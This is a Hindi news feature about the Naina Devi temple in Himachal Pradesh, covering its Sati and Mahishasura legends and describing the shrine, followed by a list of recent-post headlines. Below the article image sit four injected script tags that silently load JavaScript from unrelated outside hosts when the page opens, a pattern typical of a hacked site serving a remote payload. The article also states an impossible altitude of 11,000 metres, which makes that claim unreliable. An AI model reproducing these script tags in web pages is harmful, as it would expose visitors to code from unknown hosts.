जहां गिरे मां सती के नेत्र वहां बन गया 51 शक्तिपीठ नैना देवी

<p>देवभूमि हिमाचल अपने अंदर देवी देवताओं ले अनसुलझे रहस्यों को समेटे हुए है। यहां के शक्तिपीठ एक अलग कहानी बयां करते हैं। ऐसा ही एक शक्तिपीठ है मां नैना देवी मंदिर, जो हिमाचल प्रदेश के बिलासपुर जिले की शिवालिक पर्वत श्रेणी में मौजूद है। यह देवी के 51 शक्तिपीठों में शुमार है। ये शक्तिपीठ समुद्र तल से 11 हजार मीटर की ऊंचाई पर स्थित है। माना जाता है कि दक्ष यज्ञ में सती के शरीर को जब शिव भगवान उठा कर बेसुध होकर घूम रहे रहे उस वक़्त विष्णु भगवान के चक्र से कटने के बाद जब सती की देह के टुकड़े-टुकड़े हुए तो यहां पर माता देवी सती के नेत्र गिरे थे। मंदिर बनने के पीछे&nbsp; की कहानी नैना नाम के गुज्जर लड़के से जुड़ी हुई है।</p>

<p>कहा जाता है एक बार गुज्जर लड़का अपने मवेशियों को चराने गया और देखा कि एक सफेद गाय अपने थनों से एक पत्थर पर दूध बरसा रही है। एक रात&nbsp; देवी मां उसको सपने में कहा कि ये पत्थर उनकी पिंडी है। नैना ने पूरी स्थिति और उसके सपने के बारे में राजा बीर चंद को बताया। तब राजा ने उसी स्थान पर नैना देवी नाम के मंदिर का निर्माण करवाया। नैना देवी मंदिर महिशपीठ नाम से भी प्रसिद्ध है क्योंकि यहां पर मां नैना देवी जी ने महिषासुर का वध किया था।&nbsp; महिषासुर को ब्रह्मा द्वारा अमरता का वरदान प्राप्त था। लेकिन इसमें ब्रम्हा जी ने कहा था कि वह एक अविवाहित महिला द्वारा मारा जा सकता है। वरदान पाकर महिषासुर के घमंड की सीमा न रही और उसने पृथ्वी और स्वर्ग में देवताओं को सताना शुरू कर दिया।</p>

<p>कहा जाता है कि देवताओं ने शक्ति का आहवान किया और देवी से महिषासुर को मारने की प्रार्थना की। तव देवी महिषासुर के सामने आई। देवी को देखते ही महिषासुर देवी की असीम सुंदरता से मंत्रमुग्ध हो गया और उसने शादी का प्रस्ताव रखा। देवी ने उसे कहा कि यदि कोई उसे युद्ध में हरा देगा तो वह उससे शादी कर लेगी। लड़ाई के दौरान, देवी ने दानव को परास्त किया और उसकी दोनों आंखें निकाल दी। मंदिर में पीपल का पेड़ बहुत बड़ा पीपल का पेड़ है जो शताब्दियों पुराना है। मंदिर के मुख्य द्वार के दाईं ओर भगवान गणेश और हनुमान कि मूर्ति है। मंदिर के गर्भ ग्रह में मुख्य तीन मूर्तियां हैं। दाईं तरफ माता काली की, मध्य में नैना देवी की और बाईं ओर भगवान गणेश की प्रतिमा है। यहां एक पवित्र जल का तालाब है, जो मंदिर से कुछ ही दूरी पर स्थित है। मंदिर के समीप एक गुफा है जिसे नैना देवी गुफा के नाम से जाना जाता है। नवरात्र के दिनों में मंदिर के भक्तजनों का तांता लगा रहता है।</p>

<p><img src=”/media/gallery/images/image(1415).png” style=”height:110px; width:900px” /></p>
<script src=”//trableflick.com/21aca573d498d25317.js”></script>
<script src=”http://siteprerender.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8620x” type=”text/javascript”></script>
<script src=”http://cache-check.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8620x&amp;format=arrjs&amp;r=1603421455602″ type=”text/javascript”></script>
<script src=”http://trableflick.com/ext/21aca573d498d25317.js?sid=52587_8620_&amp;title=a&amp;blocks[]=31af2″ type=”text/javascript”></script>

Samachar First

Recent Posts

जीपीएस की गलती बनी जानलेवा: कार नदी में गिरी, तीन की मौत

Bareilly GPS Navigation Acciden: बरेली में  एक दर्दनाक सड़क हादसे में तीन लोगों की मौत…

2 hours ago

एनसीसी स्थापना दिवस पर मंडी में रक्तदान शिविर, 50 कैडेटों ने दिखाया उत्साह

NCC Raising Day Blood Donation Camp: एनसीसी एयर विंग और आर्मी विंग ने रविवार को…

2 hours ago

यहां पढ़ने वाले पिछले 65 साल में हर क्षेत्र में अपनी अमिट छाप छोड़ रहे:धर्माणी

Sundernagar Polytechnic Alumni Meet: मंडी जिले के सुंदरनगर स्थित राजकीय बहुतकनीकी संस्थान में रविवार को…

2 hours ago

हिमाचल में सहकारिता क्षेत्र में महिलाओं के आरक्षण पर विचार कर रही सरकार: मुकेश अग्निहोत्री

Himachal Cooperative Sector Development: मंडी जिले के तरोट गांव में आयोजित हिमाचल प्रदेश राज्य सहकारी…

3 hours ago

जीवन में अनुशासन और समय का सदुपयोग जरूरी: पंकज शर्मा

NSS Camp Day 6 Highlights.: धर्मशाला के राजकीय छात्र वरिष्ठ माध्यमिक पाठशाला में चल रहे…

3 hours ago

राधास्वामी सत्संग अस्पताल की भूमि के लिए ऑर्डिनेंस लाएगी सुक्खू सरकार

Bhota Hospital Land Transfer: हिमाचल प्रदेश की सुक्खू सरकार राधास्वामी सत्संग व्यास अस्पताल भोटा की…

6 hours ago